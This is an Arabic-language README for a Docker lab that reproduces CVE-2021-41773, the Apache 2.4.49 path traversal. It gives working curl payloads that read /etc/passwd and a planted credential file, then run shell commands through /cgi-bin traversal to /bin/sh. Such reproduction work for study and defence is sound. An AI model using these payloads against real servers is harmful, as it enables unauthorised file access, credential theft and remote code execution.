
إعادة إنشاء وتحليل خطأ منطقي غريب في Apache 2.4.49 تصاعد إلى تنفيذ تعليمات برمجية عن بُعد
CVE-2021-41773 هي ثغرة اجتياز مسار (Path Traversal) اكتُشفت في Apache HTTP Server 2.4.49 في أكتوبر 2021. كان السبب الجذري هو الفشل في تطبيع تسلسلات النقاط بشكل صحيح داخل عنوان URL قبل التحقق مما إذا كان المسار المطلوب يظل داخل جذر الويب. سمحت هذه الثغرة للمهاجم بالخروج من جذر الويب للوصول إلى ملفات في أي مكان على نظام ملفات الخادم، مع بعض الحالات التي ترقّت إلى تنفيذ تعليمات برمجية عن بُعد.
متجهان هجوميان موضحان في هذا الاستكشاف
Docker
curl
Linux أو macOS
Dockerfile - بناء حاوية Apache 2.4.49 هشّة
exploit.sh - سكربت سلسلة الاستغلال الآلي
README.md
نظرة عامة على Dockerfile:
ملاحظة: تأكد من تثبيت Docker وتشغيله
الخيار 1: السكربت التلقائي
chmod +x exploit.sh
./exploit.sh
الخيار 2: التنفيذ اليدوي
بناء الصورة وتشغيل الحاوية:
sudo docker build -t cve-2021-41773-env .
sudo docker run -d -p 8080:80 --name vulnerable-apache cve-2021-41773-env
أوامر curl فردية للتجربة اليدوية:
المرحلة 1 — قراءة السر الموضوع (اجتياز خالص، بدون CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/secret_credential.txt"
المرحلة 2 — قراءة /etc/passwd (اجتياز خالص، بدون CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
المرحلة 3 — RCE: تنفيذ الأوامر (يتطلب mod_cgi)
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; id; whoami; uname -a" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
المرحلة 4 — السلسلة الكاملة: قراءة السر عبر RCE
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; cat /etc/secret_credential.txt" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"